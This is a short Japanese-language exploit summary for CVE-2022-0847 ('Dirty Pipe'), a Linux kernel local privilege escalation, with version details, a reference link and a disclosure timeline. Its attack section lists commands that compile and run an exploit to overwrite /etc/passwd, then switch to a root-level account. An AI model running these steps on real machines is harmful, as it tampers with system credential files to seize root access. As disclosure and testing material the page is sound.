CVE-2022-0847

情報

Exploit Title: Local Privilege Escalation in Linux kernel (CVE-2022-0847)
Date: 03/07/2022
Exploit Author: Max Kellermann <[email protected]>
Tested on: ubuntu 20.04.1 LTS
Affect product:Linux kernel 5.8 or later
Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102
CVE ID: CVE-2022-0847

攻撃方法

テスト環境：

ローカル権限昇格

cp /etc/passwd /tmp/passwd.bak
gcc exp.c -o exp
./exp /etc/passwd 1 ootz:
su rootz
id

参考

https://dirtypipe.cm4all.com/

タイムライン

• 2021-04-29: ファイル破損に関する最初のサポートチケット
• 2022-02-19: ファイル破損の問題がLinuxカーネルのバグであると特定され、それが悪用可能な脆弱性であることが判明
• 2022-02-20: バグ報告、エクスプロイト、パッチをLinuxカーネルセキュリティチームに送信
• 2022-02-21: Google Pixel 6でバグを再現；バグ報告をAndroidセキュリティチームに送信
• 2022-02-21: Linus Torvalds、Willy Tarreau、Al Viroの提案に従い、パッチをLKML（脆弱性の詳細なし）に送信
• 2022-02-23: バグ修正を含むLinux安定版リリース（5.16.11、5.15.25、5.10.102）
• 2022-02-24: GoogleがAndroidカーネルにバグ修正をマージ
• 2022-02-28: linux-distros メーリングリストに通知
• 2022-03-07: 公開開示